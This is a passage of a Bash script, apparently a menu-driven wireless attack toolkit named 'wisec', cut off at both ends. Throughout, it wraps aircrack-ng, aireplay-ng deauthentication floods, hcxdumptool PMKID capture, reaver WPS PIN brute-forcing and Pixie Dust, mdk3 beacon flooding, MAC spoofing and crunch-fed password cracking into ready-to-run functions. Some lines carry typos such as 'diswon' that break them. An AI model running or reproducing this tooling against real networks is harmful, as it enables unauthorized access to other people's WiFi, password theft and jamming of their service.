echo -ne "${greyColour}Maximum length ${blueColour}(${endColour}${grayColour}8-63${endColour}${blueColour})${endColour}: "
read maximum_lenght
echo -ne "${greyColour}ESSID ${endColour}${blueColour}(${endColour}${greyColour}Example: wifi_name${endColour}${blueColour})${endColour}: "
read essid_crunch
crhn="None"
clear
while [ $crhn != "5" ] ; do
clear
all_banners_menu
echo -ne "\n${blueColour}1)${endColour} ${grayColour}Uppercase + Lowercase + numbers${endColour}\n"
echo -ne "${blueColour}2)${endColour} ${grayColour}Uppercase + Lowercase${endColour}\n"
echo -ne "${blueColour}3)${endColour} ${grayColour}Numbers${endColour}\n"
echo -ne "${blueColour}4)${endColour} ${grayColour}Uppercase${endColour}\n"
echo -ne "${blueColour}5)${endColour} ${grayColour}Lowercase${endColour}\n"
echo -ne "${blueColour}6)${endColour} ${grayColour}Back to Menu${endColour}\n"
echo -ne "${yellowColour}[>]${endColour}${grayColour}Select an option: ${endColour}"
read crhn
case $crhn in
1)clear; sleep 4
xterm -hold -e "crunch $minimum_lenght $maximum_lenght abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ | aircrack-ng -w - $file_to_crack -e $essid_crunch" & disown ;menu
;;
2)clear; sleep 4
xterm -hold -e "crunch $minimum_lenght $maximum_lenght abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ | aircrack-ng -w - $file_to_crack -e $essid_crunch" & disown ;menu
;;
3)clear;sleep 4
xterm -hold -e "crunch $minimum_lenght $maximum_lenght 1234567890 | aircrack-ng -w - $file_to_crack -e $essid_crunch" & diswon;menu
;;
4)clear; sleep 4
xterm -hold -e "crunch $minimum_lenght $maximum_lenght ABCDEFGHIJKLMNOPQRSTUVWXYZ | aircrack-ng -w - $file_to_crack -e $essid_crunch" & disown;menu
;;
5)clear; sleep 4
xterm -hold -e "crunch $minimum_lenght $maximum_lenght abcdefghijklmnopqrstuvwxyz | aircrack-ng -w - $file_to_crack $essid_crunch " & diswon;menu
;;
6)clear
menu
;;
*) echo "${redColour}[!]${endColour}${grayColour}$opc Is An Invalid Option${endColour}\n"
;;
esac
done
clear
}
################################################## Mac Chnager func ##################################################
function mac_changer_func(){
clear
all_banners_menu
echo -ne "\n${blueColour}[*]${endColour}${grayColour} Changing the current MAC address...${endColour}"
ifconfig iw_wisecmon down
macchanger -a iw_wisecmon > /dev/null 2>&1
ifconfig iw_wisecmon up
echo -ne "\n${blueColour}[*]${endColour}${greenColour} MAC Changed Successfully !!${endColour}"
sleep 2
}
################################################## Main Menu ##################################################
function menu(){
opc=0
while [[ $opc != 5 ]];do
clear
wisec_banner
Current_mac=$(macchanger iw_wisecmon --show | head -n 1 | awk '{print $3}')
Permanent_mac=$(macchanger iw_wisecmon --show | tail -n 1 | awk '{print $3}')
echo -ne "\n${blueColour}[${endColour}${greenColour}+${endColour}${blueColour}]${endColour}${grayColour} Your Permanent MAC address: ${endColour} ${yellowColour}$Permanent_mac ${endColour}\n"
echo -ne "${blueColour}[${endColour}${greenColour}+${endColour}${blueColour}]${endColour}${grayColour} Your Current MAC address: ${endColour} ${yellowColour}$Current_mac ${endColour}\n"
echo -ne "\n"
echo -ne "${blueColour}[1] ${endColour}${grayColour}Handshake (WPA/WPA2 - PSK)${endColour} ${blueColour}[12]${endColour}${grayColour} ChopChop Attack${endColour}\n"
echo -ne "${blueColour}[2] ${endColour}${grayColour}Passive Handshake Capture${endColour} ${blueColour}[13]${endColour}${grayColour} Mac Changer${endColour}\n"
echo -ne "${blueColour}[3]${endColour} ${grayColour}PMKID attack${endColour} ${blueColour}[14]${endColour}${grayColour} Evil_twin${endColour}\n"
echo -ne "${blueColour}[4] ${endColour}${grayColour}Offline Cracking${endColour} ${blueColour}[15]${endColour}${grayColour} Quit${endColour}\n"
echo -ne "${blueColour}[5]${endColour} ${grayColour}Constant Deauth Attack (Jamming)${endColour}\n"
echo -ne "${blueColour}[6]${endColour} ${grayColour}Beacon Flood Attack${endColour}\n"
echo -ne "${blueColour}[7] ${endColour}${grayColour}WPS Brute-force${endColour}\n"
echo -ne "${blueColour}[8] ${endColour}${grayColour}Null Pin attack${endColour}\n"
echo -ne "${blueColour}[9]${endColour}${grayColour} Pixie Dust ${endColour}\n"
echo -ne "${blueColour}[10]${endColour}${grayColour} CaffeLatte${endColour}\n"
echo -ne "${blueColour}[11]${endColour}${grayColour} Auth DoS${endColour}\n"
echo -ne "\n"
echo -ne "${turquoiseColour}[${endColour}${yellowColour}wisec${endColour}${turquoiseColour}]${endColour}${grayColour} Select an option >> ${endColour}"
read opc
case $opc in
1)clear
handshake
sleep 1.5
;;
2)clear
passive_handshake
sleep 1.5
;;
3)clear
pmkid_attack
sleep 1.5
;;
4)clear
password_cracking_options
sleep 1.5
;;
5)clear
constant_deauth_attack
sleep 1.5
;;
6)clear
Beacon_Flood_attack_menu
sleep 1.5
;;
7)clear
wps_bruteforce
sleep 1.5
;;
8)clear
null_pin_attack
sleep 1.5
;;
9)clear
pixie_dust
sleep 1.5
;;
10)
CaffeLatte
sleep 1.5
;;
11)
authentication_attack
sleep 1.5
;;
12)clear
ChopChop_attack
sleep 1.5
;;
13)clear
mac_changer_func
sleep 1.5
;;
14)clear
evil_twin_options
sleep 1.5
;;
15)
echo -ne "\n\t${greenColour}Bye, bye :)${endColour}\n"
tput cnorm; airmon-ng stop iw_wisecmon > /dev/null 2>&1
ifconfig iw_wisec down
ip link set iw_wisec name $networkCard
ifconfig $networkCard up
rm -r 1 iface.txt dnsmasq.conf hostapd.conf > /dev/null 2>&1
#clear iptables
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
iptables -t nat -F
iptables -t mangle -F
iptables -F
iptables -X
echo 0 > /proc/sys/net/ipv4/ip_forward
sleep 1.5;exit 0
;;
*) echo "${redColour}[!]${endColour}${grayColour}$opc Is An Invalid Option${endColour}\n"
;;
esac
done
}
################################################## WPS Brute-Force ##################################################
function wps_bruteforce(){
clear
#wash recon
xterm -hold -e "wash -i iw_wisecmon " &
xterm_wash_recon_PID=$!
echo -ne "\n${blueColour}[*]${endColour}${grayColour} BSSID of the Access Point: ${endColour}" && read BSSID_WPS
kill -9 $xterm_wash_recon_PID 2>/dev/null
clear
xterm -hold -e "reaver -i iw_wisecmon -b ${BSSID_WPS} -S -vv -L -N -T .5 -r 3:15" & disown
sleep 15;echo -ne "\n${blueColour}[+]${endColour}${grayColour} Let the attack run for a while...${endColour}${redColour} it can take several hours${endColour}\n"
clear
menu
}
################################################## WPS Pixie Dust ##################################################
function pixie_dust(){
clear
xterm -hold -e "wash -i iw_wisecmon" &
xterm_wash_PID=$!
echo -ne "\n${blueColour}[*]${endColour}${grayColour} BSSID of the Access Point: ${endColour}" && read BSSID_WPS
kill -9 $xterm_wash_PID 2>/dev/null
clear
xterm -hold -e "reaver -i iw_wisecmon -b ${BSSID_WPS} -K" & disown
sleep 10;echo -ne "\n${blueColour}[+]${endColour}${grayColour} Let the attack run for a while...${endColour}\n"
clear
menu
}
################################################## WPS Null Pin Attack ##################################################
function null_pin_attack(){
clear
xterm -hold -e "wash -i iw_wisecmon" &
xterm_wash_PID=$!
echo -ne "\n${blueColour}[*]${endColour}${grayColour} BSSID of the Access Point: ${endColour}" && read BSSID_WPS
kill -9 $xterm_wash_PID 2>/dev/null
clear
xterm -hold -e "reaver -i iw_wisecmon -b ${BSSID_WPS} -p '' -N" & disown
sleep 10;echo -ne "\n${blueColour}[+]${endColour}${grayColour} Let the attack run for a while...${endColour}\n"
clear
menu
}
################################################## Passive Handshake func ##################################################
function passive_handshake(){
all_banners_menu
mkdir passive_handshake > /dev/null 2>&1
pushd passive_handshake > /dev/null 2>&1
xterm -hold -e "airodump-ng iw_wisecmon" &
airodump_xterm_PID=$!
echo -ne "\n${blueColour}[*]${endColour}${grayColour} Access Point Name: ${endColour}" && read APessid
echo -ne "\n${blueColour}[*]${endColour}${grayColour} Access Point Channel: ${endColour}" && read Channel
kill -9 $airodump_xterm_PID
wait $airodump_xterm_PID 2>/dev/null
xterm -hold -e "airodump-ng -c $Channel -w ${APessid} --essid $APessid iw_wisecmon" &
cd ../
echo -ne "\n${blueColour}[*] ${endColour}${grayColour}When you finish with getting the handshake, you have a directory called 'passive_handshake/' with all the captures${grayColour}"
sleep 4
menu
}
################################################## Monitor mode validator ##################################################
function monitor_mode_verification(){
## validating interface
ip a > ifaces.txt
checker=0;while [ $checker -ne 1 ];do
for interface in $(cat ifaces.txt | cut -b 1-20| awk '{print $2}' | grep ':' | tr -d ':');do
if [ "$networkCard" == "$interface" ];then
checker=1
fi
done; if [ $checker -eq 0 ];then echo -ne "${redColour}[!] The Interface is not valid, exiting...${endColour}";exit 1; fi
done
rm -r ifaces.txt
ifconfig $networkCard down
ip link set $networkCard name iw_wisec
ifconfig iw_wisec up
clear
if [ $(iwconfig | grep iw_wisec | grep 'Monitor' > /dev/null 2&>1; echo $?) -ne 0 ];then
clear
airmon-ng start iw_wisec > /dev/null 2>&1
sleep 2.5
iwconfig iw_wisec > iface.txt
if [ $(cat iface.txt | grep Mode | tr ':' ' ' | awk '{print $2}') == 'Monitor' ];then
echo -ne "${greenColour}[+]${endColour} ${grayColour}The interface has been successfully put on monitor mode${endColor}"
rm -r iface.txt
fi
fi
tput cnorm
clear
}
function pmkid_attack(){
all_banners_menu
mkdir PMKID > /dev/null 2>&1
pushd PMKID > /dev/null 2>&1
echo -ne "\n${blueColour}[*]${endColour}${grayColour} How much time you want to wait in seconds (60 - 1min): ${endColour}" && read time_pmkid
echo -ne "\n${redColour}[!]${endColour} ${grayColour}Please wait $time_pmkid seconds${endColour}\n"
echo -ne "\n${blueColour}[*]${endColour}${grayColour} Starting attack...${endColour}\n"
systemctl stop NetworkManager.service
systemctl stop wpa_supplicant.service
xterm -hold -e "hcxdumptool -i iw_wisecmon -o dumpfile.pcapng --active_beacon --enable_status=15" &
hcxdumptool_xterm_PID=$!
sleep $time_pmkid; kill -9 $hcxdumptool_xterm_PID
wait $hcxdumptool_xterm_PID 2>/dev/null
systemctl start NetworkManager.service
systemctl start wpa_supplicant.service
hcxpcapngtool -o hash.hc22000 -E essidlist dumpfile.pcapng
clear
echo -ne "\n${blueColour}[*]${endColour}${grayColour} Your PMKID files are saved in the 'PMKID' directory, the files are ready to be cracked with hashcat${endColour}"
sleep 5
cd ../
menu
}
function handshake(){
if [ $(iwconfig | grep iw_wisec | grep 'Monitor' > /dev/null 2&>1; echo $?) -ne 0 ];then
clear
## if monitor mode was on
all_banners_menu
xterm -hold -e "airodump-ng iw_wisecmon" &
airodump_xterm_PID=$!
echo -ne "\n${blueColour}[*]${endColour}${grayColour} Access Point Name: ${endColour}" && read APessid
echo -ne "\n${blueColour}[*]${endColour}${grayColour} Access Point Channel: ${endColour}" && read Channel
kill -9 $airodump_xterm_PID
wait $airodump_xterm_PID 2>/dev/null
xterm -hold -e "airodump-ng -c $Channel -w ${APessid} --essid $APessid iw_wisecmon" &
airodump_filter_xterm_PID=$!
sleep 10; xterm -hold -e "aireplay-ng -0 5 -e ${APessid} -c 'FF:FF:FF:FF:FF:FF' iw_wisecmon" &
aireplay_xterm_PID=$!
sleep 10; kill -9 $aireplay_xterm_PID; wait $aireplay_xterm_PID 2>/dev/null
sleep 15; kill -9 $airodump_filter_xterm_PID
wait $airodump_filter_xterm_PID 2>/dev/null
clear
## Validating hasdshake with aircrack-ng
aircrack_valid=$(aircrack-ng *.cap | awk '{print $5}' | tr '\n' ' ' | tr -d '(' | awk '{print $1}')
if [ $aircrack_valid -eq "1" ]; then
clear
all_banners_menu
echo -ne "\n${greenColour}[*] Handshake of $APessid has been Successfully captured !!!${endColour}\n"
mkdir Captures 2>/dev/null
echo -ne "\n${blueColour}[+]${endColour}${grayColour} Capture directory has been created${endColour}\n"
mv $APessid*.cap Captures/$APessid-handshake.cap 2>/dev/null
rm -r ${APessid}*.*
filepath=$(find $(pwd) -name $APessid-handshake.cap 2>/dev/null)
echo -ne "\n${blueColour}[*]${endColour} ${grayColour}File Path: $filepath${endColour}\n"
sleep 7
# WPA cracking aircrack + crunch
cracking_pass
else
clear
echo -ne "\n${redColour}[!] Handshake has not been captured....${endColour}\n"
sleep 3
clear;menu
fi
fi
tput cnorm
}
function Beacon_Flood_attack_menu(){
opt_b=0
while [[ $opt_b -ne 3 ]];do
clear
all_banners_menu
echo -ne "\n${blueColour}[1]${endColour}${grayColour} Use a ssid text list${endColour}\n"
echo -ne "${blueColour}[2]${endColour} ${grayColour}Just do the Beacon Flood attack with random characters${endColour}\n"
echo -ne "${blueColour}[3]${endColour}${grayColour} back${endColour}\n"
echo -ne "\n${yellowColour}[>]${endColour}${grayColour} Choose an option > ${endColour}" && read opc
case $opc in
1)
echo -ne "${blueColour}[${endColour}${grayColour}*${endColour}${blueColour}]${endColour} ${grayColour}Pass the the name of the custom ssid file: ${endColour}" && read ssid_list;
xterm -hold -e "mdk3 iw_wisecmon b -a -g -f $ssid_list" &
break
menu
;;
2)
xterm -hold -e "mdk3 iw_wisecmon b -a -w nta -m" &
break
menu
;;
3)
menu
;;
*)
echo -ne "${redColour}[!]${endColour} $opc Invalid Option\n"
;;
esac
done